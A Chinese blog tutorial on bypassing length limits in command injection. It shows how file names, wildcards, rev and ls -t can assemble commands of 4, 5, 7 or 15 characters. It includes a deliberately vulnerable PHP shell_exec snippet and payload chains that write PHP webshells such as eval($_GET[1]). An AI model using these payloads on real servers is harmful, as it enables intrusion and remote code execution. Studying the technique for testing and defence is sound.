首页 > 其他分享 >命令注入长度限制绕过

命令注入长度限制绕过

时间:2024-11-06 14:51:15浏览次数:1  
标签:-- kali cmd echo 命令 ls 长度 绕过 注入

命令注入长度限制绕过

目录

0x1 命令组装

1.1 字符默认顺序组装

  • e 的顺序正好在 h 之前

分别输入>echo >hello,可以看到分别创建了两个文件 echohello ,然后执行 * ,结果输出了 hello

┌──(kali㉿kali)-[~/cmd]
└─$ >echo
┌──(kali㉿kali)-[~/cmd]
└─$ >hello
┌──(kali㉿kali)-[~/cmd]
└─$ ll
total 4
-rw-r--r-- 1 kali kali 0 Nov  5 22:01 echo
-rw-r--r-- 1 kali kali 1 Nov  5 22:01 hello
┌──(kali㉿kali)-[~/cmd]
└─$ *
hello
  • * 此时等于 echo hello,我们可以通过 echo来查看 * 到底是啥
┌──(kali㉿kali)-[~/cmd]
└─$ echo *              
echo hello
  • 这样,我们通过 >echo >hello 完成命令组装,然后 * 组成并执行了命令 echo hello.

1.2 反转命令

同样把命令长度限制到 4 , 如何执行命令 ls -l

模仿上面做法,输入>ls>-l 产生了两个文件 ls -l

┌──(kali㉿kali)-[~/cmd]
└─$ >-l
┌──(kali㉿kali)-[~/cmd]
└─$ >ls
┌──(kali㉿kali)-[~/cmd]
└─$ *
-l: command not found
┌──(kali㉿kali)-[~/cmd]
└─$ ll
total 0
-rw-r--r-- 1 kali kali 0 Nov  5 22:21 -l
-rw-r--r-- 1 kali kali 0 Nov  5 22:22 ls
  • -lls 前面,如果我们执行 * 其实是执行 -l ls ,会出现错误
  • 这个命令字符序列反过来看 l- sl 顺序正好满足要求,只需要用一个可以把字符反过来的命令,就可以完成这个功能

先生成 l-sl 两个命令

┌──(kali㉿kali)-[~/cmd]
└─$ >l-
┌──(kali㉿kali)-[~/cmd]
└─$ >sl
┌──(kali㉿kali)-[~/cmd]
└─$ ls
l-  sl

l- sl 组合写入文件 v (为什么文件名要用 v ,下面会解释,是个 trick ),最后用一个命令将文件中的字节反转

┌──(kali㉿kali)-[~/cmd]
└─$ ls>v
┌──(kali㉿kali)-[~/cmd]
└─$ cat v
l-
sl
v

可以看到文件 v 中多了一个 v,对我们命令造成干扰,我们只想文件中存在 l-sl

解决思路:dir a b>c 只会将 a b 写到文件 c 中,我们创建一个名为 dir 的文件,然后执行*>v ,可以获得 l-ls

┌──(kali㉿kali)-[~/cmd]
└─$ >dir
┌──(kali㉿kali)-[~/cmd]
└─$ *>v
┌──(kali㉿kali)-[~/cmd]
└─$ cat v
l-  sl

1.3 反序

linux 有一个 rev 命令,正好可以将内容反序,我们产生一个名为 rev 的文件,然后执行 *v,此时命令相当于 rev v(这里就是上面为啥文件命名为 v ,为了被通配符匹配),这样就产生了我们要的输出 ls -l

┌──(kali㉿kali)-[~/cmd]
└─$ >rev
┌──(kali㉿kali)-[~/cmd]
└─$ ls
dir  l-  rev  sl  v
┌──(kali㉿kali)-[~/cmd]
└─$ *v  
ls  -l

输出到文件 x ,然后就可以执行 sh x ,成功以 4 个字符执行长度为 5ls -l 命令

┌──(kali㉿kali)-[~/cmd]
└─$ *v>x
┌──(kali㉿kali)-[~/cmd]
└─$ cat x
ls  -l
┌──(kali㉿kali)-[~/cmd]
└─$ sh x   
total 8
-rw-r--r-- 1 kali kali 0 Nov  5 22:55 dir
-rw-r--r-- 1 kali kali 0 Nov  5 22:39 l-
-rw-r--r-- 1 kali kali 0 Nov  5 22:56 rev
-rw-r--r-- 1 kali kali 0 Nov  5 22:40 sl
-rw-r--r-- 1 kali kali 7 Nov  5 22:55 v
-rw-r--r-- 1 kali kali 7 Nov  5 22:58 x

整个命令链(长度<=4)

1.4 自由控制顺序组装

假设我们要生成 ls -t >g ,其实 ls -t 也就是根据 mtime 排序,新的在前面,比如我们要生成 ls -l ,可以通过 ls -t 打破默认顺序

1.5 命令续行

linux 的命令续行,比如 l\ s分成两行,等于 ls

\>py\\ 这里看着是 5 个字符,超过了 4 个的限制,实际上是因为 shell 环境需要输入\\ 产生 \,但是 php 代码 exec时,只需要输入 \ 即可产生 \ ,比如 exec(">py\") 即可。

这上面的所以 payload 均在 linux 终端 shell 里面进行操作,因此需要 \ 的地方都进行了再加 \ 转义,也就变成了 \\ ,如果在命令注入函数里面输入时,\ 不需要用 \ 转义。

0x2 15位可控字符下的任意命令执行

如需执行 echo \<?php eval($_GET[1]);?\>>1

echo \<?php >1
echo eval\(>>1
echo \$_GET>>1
echo \[1\]>>1
echo \)\;?>>1

0x3 7位可控字符下的任意命令执行

  • 1>a 或者 w>b 分别可以创建 ab 两个空文件夹。
  • ls>c 会将目录下面的文件名写入到 c 文件中;
  • ls -t>0 会将文件名按照创建的时间倒叙写入 0 文件中。并且自动换行。
  • \ 作为转义符,转义之后的 \ 是用来换行分隔,也就是换行也是连接的。
ca\
t
这就代表cat

例如代码如下:

<?php
if(strlen($_GET[1])<8){
     echo shell_exec($_GET[1]);
}
?>

假设要写出一句话 php payload : <?php echo shell_exec($_GET[2]);

echo PD9waHAgZWNobyBzaGVsbF9leGVjKCRfR0VUWzJdKTs= | base64 -d >1.php

w>hp
w>1.p\\
w>d\>\\
w>\ -\\
w>e64\\
w>bas\\
w>=\|\\
w>KTs\\
w>zJd\\
w>VUW\\
w>fR0\\
w>KCR\\
w>GVj\\
w>9le\\
w>sbF\\
w>aGV\\
w>yBz\\
w>Nob\\
w>gZW\\
w>aHA\\
w>D9w\\
w>P\\
w>o\ \\
w>ech\\
ls -t>0
sh 0

倒叙新建文件名,然后通过 ls -t>0 ,将刚才的顺序再倒序然后写入到 0 文件中,然后用 sh0 当作脚本执行。

0x4 5位可控字符下的任意命令执行

ls -t>0 超过了 5

>ls\\
ls>a
>\ \\
>-t\\
>\>0

ls>>a

这就将 ls -t>0 写在了 a 脚本中,如果要用的话直接 sh a ,之后写入自己的命令按照 7 位的逻辑写就行了。

0x5 4位可控字符下的任意命令执行

ls -th>f 超过了 4

>f\>
>ht-
>sl
>dir
*>v
>rev
*v>0

cat 0

这就将 ls -th>f 写入到了脚本 0 当中,后面就可以直接按照7位的那样写入我们要执行的命令,最后使用 sh 0 执行 ls -th>f ,然后将命令写入了 f 脚本中,执行 sh f 即可。

标签:--,kali,cmd,echo,命令,ls,长度,绕过,注入
From: https://www.cnblogs.com/f-carey/p/18530176

相关文章

  • 今日力扣:3254. 长度为 K 的子数组的能量值 I
    给你一个长度为 n 的整数数组 nums 和一个正整数 k 。一个数组的 能量值 定义为:如果 所有 元素都是依次 连续 且 上升 的,那么能量值为 最大 的元素。否则为-1。你需要求出 nums 中所有长度为 k 的 子数组 的能量值。请你返回一个长度为 n-k+......
  • 【Spring IoC&DI】路径扫描,DI依赖注入
    【路径扫描】Spring注重路径,约定大于配置例如,这个路径下,Spring默认会去扫描下【com.baiye.ioc】下面所有类中加了五大注解的路径,不在这个路径下是默认不会去扫描的即:Spring默认的扫描路径是——启动类所在的目录及其子目录但,当启动类放到Service包中时,扫描路径就变成了......
  • c语言中获取数组的长度
     001、一维数组[root@PC1test1]#lstest.c[root@PC1test1]#cattest.c#include<stdio.h>intmain(void){intv1[5]={3,4,8};printf("lengthofv1is%d\n",sizeof(v1)/sizeof(v1[0]));return0;}[root@PC1tes......
  • SQL注入学习
    SQL基本语言概述访问和处理数据库的语言,结构化查询语言能让我们有能力访问数据库ANSI标准计算机语言可以与数据库程序协同工作由于各种各样的数据库出现,导致很多不同版本的SQL语言为了与ANSI标准相兼容它们必须以相似的方式共同地来支持一些主要的关键词比如SEL......
  • dotNet 整合 Microsoft.Extensions.DependencyInjection 利用反射实现依赖批量注入
    前言框架.net8.0Microsoft.Extensions.DependencyInjection8.0创建三个类库项目ConfigServicesLogServicesMailServices创建一个控制台项目ConsoleAppMailConfigServicesnamespaceConfigServices.IService{publicinterfaceIConfigService{......
  • Zabbix低权限SQL注入至RCE+权限绕过
    Zabbix低权限SQL注入至RCE+权限绕过,可惜没找到关于传webshell的好方法,如有大神告知,感激万分!本文中所有代码以及后续更新都会放在我的github仓库中:https://github.com/W01fh4cker/CVE-2024-22120-RCE一、漏洞环境搭建1.1下载vmware镜像并设置源码地址:https://cdn.zabb......
  • SQL注入其他情况
    宽字节注入当某字符的大小为两个字节时,被称为宽字节。宽字节注入是利用数据库在处理GBK等宽字节编码时的特性,通过特定的输入绕过过滤。当发现网站对敏感字符进行转义过滤,且数据库使用的是gbk编码GBK双字节编码:一个汉字用两个字节表示,首字节对应0x81-0xFE,尾字节对应0x40-0xFE......
  • 【bypass系列】绕过命令过滤器:探索Unix/Linux中的Bypass技术
    原创visionsec安全视安免责声明该公众号分享的安全工具和项目均来源于网络,仅供安全研究与学习之用,如用于其他用途,由使用者承担全部法律及连带责任,与工具作者和本公众号无关。在Unix或Linux系统的安全测试和网络防御中,了解如何绕过命令过滤器是非常重要的。今天,我们将探讨......
  • SQL注入学习笔记
    BUUSQLCOURSE1一道很入门的的SQL手工注入,所用到的知识点也就只有union和group_concat联合注入和输出,带给我的主要收获是解读了题解代码后初步理解了查数据库名->表名->列名—>具体元素的三板斧,和具体查询原理0unionselectdatabase(),group_concat(table_name)frominform......
  • sql注入——靶场Less1
    ?id=1?id=99'unionselect1,2,3--+查看占位?id=1'orderby3--+尝试出表有几列 ?id=1'orderby4--+说明只有三列?id=99'unionselect1,database(),3--+查询当前使用的数据库的名称?id=99'unionselect1,group_concat(table_name),3frominformation_sch......